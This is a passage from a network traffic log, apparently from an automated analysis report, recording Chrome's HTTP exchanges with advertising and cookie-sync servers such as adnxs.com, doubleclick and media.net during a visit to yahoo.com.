Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 676.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-04-27 22:42:09 UTC	11431	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 21 2d 2d 20 43 72 65 61 74 69 76 65 20 35 31 30 32 34 33 32 32 30 20 73 65 72 76 65 64 20 62 79 20 4d 65 6d 62 65 72 20 31 35 31 32 34 20 76 69 61 20 41 70 70 4e 65 78 75 73 2e 20 2d 2d 3e 22 29 3b 74 72 79 7b 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 69 6e 73 20 63 6c 61 73 73 3d 5c 27 64 63 6d 61 64 73 5c 27 20 73 74 79 6c 65 3d 5c 27 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 33 30 30 70 78 3b 68 65 69 67 68 74 3a 32 35 30 70 78 5c 27 5c 72 20 20 20 20 64 61 74 61 2d 64 63 6d 2d 70 6c 61 63 65 6d 65 6e 74 3d 5c 27 4e 31 30 36 38 2e 34 34 30 32 32 39 32 41 53 4b 4c 4f 43 41 4c 41 2f 42 33 31 32 37 38 39 32 33 2e 33 38 36 39 34 32 35 39 34 5c 27 5c 72 20 20 Data Ascii: document.write("... Creative 510243220 served by Member 15124 via AppNexus. -->");try{document.write('<ins class=\'dcmads\' style=\'display:inline-block;width:300px;height:250px\'\r data-dcm-placement=\'N1068.4402292ASKLOCALA/B31278923.386942594\'\r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	50123	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	523	OUT	POST /.well-known/attribution-reporting/debug/verbose HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive Content-Length: 270 Pragma: no-cache Cache-Control: no-cache Content-Type: application/json Origin: https://ad.doubleclick.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:09 UTC	270	OUT	Data Raw: 5b 7b 22 62 6f 64 79 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 5f 64 65 73 74 69 6e 61 74 69 6f 6e 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 73 74 65 6c 6c 61 74 69 6f 6e 6d 75 74 75 61 6c 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 63 75 72 69 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 2f 2f 64 65 62 75 67 63 6f 6e 76 65 72 73 69 6f 6e 64 6f 6d 61 69 6e 31 2e 63 6f 6d 22 5d 2c 22 73 6f 75 72 63 65 5f 64 65 62 75 67 5f 6b 65 79 22 3a 22 31 31 33 34 36 39 35 31 39 36 37 32 35 39 36 39 33 36 37 34 22 2c 22 73 6f 75 72 63 65 5f 65 76 65 6e 74 5f 69 64 22 3a 22 37 31 37 35 32 33 33 35 37 36 31 35 37 31 31 36 34 32 31 22 2c 22 73 6f 75 72 63 65 5f 73 69 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 79 61 68 6f 6f 2e 63 6f 6d 22 7d 2c 22 74 79 70 65 22 3a 22 73 6f Data Ascii: [{"body":{"attribution_destination":["https://constellationmutual.com","https://curi.com","https://debugconversiondomain1.com"],"source_debug_key":"11346951967259693674","source_event_id":"7175233576157116421","source_site":"https://yahoo.com"},"type":"so
2024-04-27 22:42:09 UTC	493	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Sat, 27 Apr 2024 22:42:09 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	50126	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	843	OUT	GET /ul_cb/sync?ssp=medianet&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1 Host: rtb-use.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: c=1714257726; tuuid_lu=1714257726; tuuid=786797b7-bf38-456a-a874-4aad6fb5186b
2024-04-27 22:42:09 UTC	782	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:09 GMT Location: //contextual.media.net/cksync.php?type=mf&ovsid=786797b7-bf38-456a-a874-4aad6fb5186b&cs=3&redirect=https://rtb-use.mfadsrvr.com/sync Set-Cookie: tuuid=786797b7-bf38-456a-a874-4aad6fb5186b; path=/; expires=Sun, 27-Apr-2025 22:42:09 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1714257729; path=/; expires=Sun, 27-Apr-2025 22:42:09 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: ssh=!medianet=1714257729; path=/; expires=Sun, 27-Apr-2025 22:42:09 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	50129	68.67.160.75	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	949	OUT	GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fpbs.yahoo.com%252Fsetuid%253Fbidder%253Dappnexus%2526gdpr%253D0%2526gdpr_consent%253D%2526gpp%253DDBAA%2526gpp_sid%253D-1%2526f%253Di%2526uid%253D%2524UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061
2024-04-27 22:42:09 UTC	1478	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://pbs.yahoo.com/setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=1476058396850158061 AN-X-Request-Uuid: c1b0a90b-cb46-4429-be4b-4e84b575206a Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 673.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	50125	23.45.148.30	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	1284	OUT	GET /checksync.php?vsSync=1&cs=9&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10
2024-04-27 22:42:09 UTC	315	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 38197 Content-Type: text/html; charset=UTF-8 x-mnet-hl2: E Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 Cache-Control: max-age=172800 Expires: Mon, 29 Apr 2024 22:42:09 GMT Date: Sat, 27 Apr 2024 22:42:09 GMT Connection: close
2024-04-27 22:42:09 UTC	215	IN	Data Raw: 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 31 35 31 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 33 31 35 33 36 30 30 30 2c 22 63 63 22 3a 22 Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":151,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"
2024-04-27 22:42:09 UTC	16384	IN	Data Raw: 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 39 22 2c 22 6c 6f 6f 6b 75 70 22 3a 7b 22 72 62 63 6e 22 3a 7b 22 6e 61 6d 65 22 3a 22 72 62 63 6e 22 2c 22 74 69 6d 65 22 3a 31 38 30 2c 22 63 6f 6f 6b 69 65 22 3a 22 64 61 74 61 2d 72 22 2c 22 75 72 6c 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 69 66 72 61 6d 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 65 63 75 72 65 2d 61 73 73 65 74 73 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 5c 2f 75 74 69 6c 73 5c 2f 78 61 70 69 5c 2f 6d 75 6c 74 69 2d 73 79 6e 63 2e 68 74 6d 6c 3f 70 3d 6d 65 64 69 61 6e 65 74 22 2c 22 65 75 5f 75 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 70 76 69 64 22 3a 32 39 2c 22 69 73 42 6c 22 3a 30 2c 22 67 22 3a Data Ascii: US","zone":" e ","coc":"NA"},"cs":"9","lookup":{"rbcn":{"name":"rbcn","time":180,"cookie":"data-r","urls":[{"type":"iframe","url":"https:\/\/secure-assets.rubiconproject.com\/utils\/xapi\/multi-sync.html?p=medianet","eu_url":null}],"pvid":29,"isBl":0,"g":
2024-04-27 22:42:10 UTC	16384	IN	Data Raw: 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 61 78 69 64 5f 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 26 74 2e 69 6e 66 6f 2e 61 61 63 78 63 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 26 74 2e 69 6e 66 6f 2e 6d 6e 43 68 65 63 6b 53 79 6e 63 55 72 6c 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 77 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 26 74 2e 69 6e 66 6f 2e 63 69 64 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 50 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 26 74 2e 69 6e 66 6f 2e 69 74 79 70 65 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 53 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 Data Ascii: cation.href);return t.getParam("axid_e")}function v(){return t.info&&t.info.aacxc\|\|""}function k(){return t.info&&t.info.mnCheckSyncUrl\|\|""}function w(){return t.info&&t.info.cid\|\|""}function P(){return t.info&&t.info.itype\|\|""}function S(){return t.info&
2024-04-27 22:42:10 UTC	5214	IN	Data Raw: 44 50 52 7d 22 2c 74 2e 67 65 74 47 44 50 52 46 6c 61 67 28 29 3f 22 31 22 3a 22 30 22 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 22 5c 5c 24 7b 47 44 50 52 5f 43 4f 4e 53 45 4e 54 7d 22 2c 65 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 74 2e 67 65 74 47 44 50 52 43 6f 6e 73 65 6e 74 53 74 72 69 6e 67 28 29 29 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 22 5c 5c 24 7b 55 53 50 5f 43 4f 4e 53 45 4e 54 7d 22 2c 65 2e 65 6e 63 6f 64 65 50 61 72 61 6d 28 74 2e 67 65 74 43 43 50 41 43 6f 6e 73 65 6e 74 53 74 72 69 6e 67 28 29 29 29 2c 72 3d 65 2e 72 65 70 6c 61 63 65 41 6c 6c 28 72 2c 22 5c 5c 24 5c 5c 7b 47 50 50 5c 5c 5f 53 54 52 49 4e 47 5c 5c 5f 5b 61 2d 7a 41 2d 5a 30 2d 39 5d 7b 30 2c 36 7d 5c 5c 7d 22 2c 65 2e 65 6e 63 6f 64 65 50 Data Ascii: DPR}",t.getGDPRFlag()?"1":"0"),r=e.replaceAll(r,"\\${GDPR_CONSENT}",e.encodeParam(t.getGDPRConsentString())),r=e.replaceAll(r,"\\${USP_CONSENT}",e.encodeParam(t.getCCPAConsentString())),r=e.replaceAll(r,"\\$\\{GPP\\_STRING\\_[a-zA-Z0-9]{0,6}\\}",e.encodeP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	50127	35.207.24.140	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	843	OUT	GET /ul_cb/sync?ssp=intentiq&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1 Host: rtb-use.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: c=1714257726; tuuid_lu=1714257726; tuuid=786797b7-bf38-456a-a874-4aad6fb5186b
2024-04-27 22:42:09 UTC	782	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Sat, 27 Apr 2024 22:42:09 GMT Location: https://sync.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=1980923529&pcid=786797b7-bf38-456a-a874-4aad6fb5186b Set-Cookie: tuuid=786797b7-bf38-456a-a874-4aad6fb5186b; path=/; expires=Sun, 27-Apr-2025 22:42:09 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1714257729; path=/; expires=Sun, 27-Apr-2025 22:42:09 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: ssh=!intentiq=1714257729; path=/; expires=Sun, 27-Apr-2025 22:42:09 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	50132	68.67.160.117	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	3413	OUT	GET /rd_log?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QKHDvSoAQcHAAADANYABQEIt_61sQYQ9eeehM23qfNMGN7Pt_v1oeCUUyo2CY-2CMZNcN0_EaJinL8JhdU_GQAAAIDrUR9AIWz9oVcLhdU_KeMZNPRPcN0_MQAAAAAAAPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBA1VTRJgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaScsIDk5NDY0MzksIDApO3VmKCdnJywgMjU0NTM0ODcsIDApO3VmKCdjJywgNjA1MzQxOTIsIDApO3VmKCdyJywgNTEwMjQzMjIwLCAwKTuSApUFIV9vYTNJQWl3Mi00Y0VKVGpwdk1CR0FBZ2pwYVhBVEFCT0FCQUFFaVVkbENLNHRrS1dBQmdyZ05vQUhBRWVNUVBnQUVNaUFIRUQ1QUJBWmdCQWFBQkFxZ0JBckFCQUxrQnJvdjBsMTF3M1RfQkFhNkw5SmRkY04wX3lRRUFBQUFBNVVqcVA5a0JBAQ2AQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnASIEQzkJCPCQREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQQGdFEFBQURKQgEHDQEIMFFRCQogTUFoUU5nRUFQLiwAIENJQlp3anFRVQkkGEFEd1A3RUYNDQFMBEJCDT8BAQB5FSgMQUFRTjIoAABaFShIUEFfNEFXdTV3THFCU1l [TRUNCATED] Host: nym1-ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:09 UTC	1350	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 890d1d05-dd74-4e49-ada3-dcca60c8dbe5 Set-Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 15-Apr-2034 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=1476058396850158061; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 26-Jul-2024 22:42:09 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 149.18.24.69; 149.18.24.69; 676.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	50131	68.67.160.117	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:09 UTC	2828	OUT	GET /it?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QLuC_SoAe4FAAADANYABQEIt_61sQYQ9eeehM23qfNMGN7Pt_v1oeCUUyo2CY-2CMZNcN0_EaJinL8JhdU_GQAAAIDrUR9AIWz9oVcLhdU_KeMZNPRPcN0_MQAAAAAAAPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBA1VTRJgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaScsIDk5NDY0MzksIDApO3VmKCdnJywgMjU0NTM0ODcsIDApO3VmKCdjJywgNjA1MzQxOTIsIDApO3VmKCdyJywgNTEwMjQzMjIwLCAwKTuSApUFIV9vYTNJQWl3Mi00Y0VKVGpwdk1CR0FBZ2pwYVhBVEFCT0FCQUFFaVVkbENLNHRrS1dBQmdyZ05vQUhBRWVNUVBnQUVNaUFIRUQ1QUJBWmdCQWFBQkFxZ0JBckFCQUxrQnJvdjBsMTF3M1RfQkFhNkw5SmRkY04wX3lRRUFBQUFBNVVqcVA5a0JBAQ2AQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnASIEQzkJCPCQREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQQGdFEFBQURKQgEHDQEIMFFRCQogTUFoUU5nRUFQLiwAIENJQlp3anFRVQkkGEFEd1A3RUYNDQFMBEJCDT8BAQB5FSgMQUFRTjIoAABaFShIUEFfNEFXdTV3THFCU1lJQXh [TRUNCATED] Host: nym1-ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
2024-04-27 22:42:09 UTC	1350	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 27 Apr 2024 22:42:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: fd1a78a0-daa6-4b94-947c-ee52efc6893b Set-Cookie: 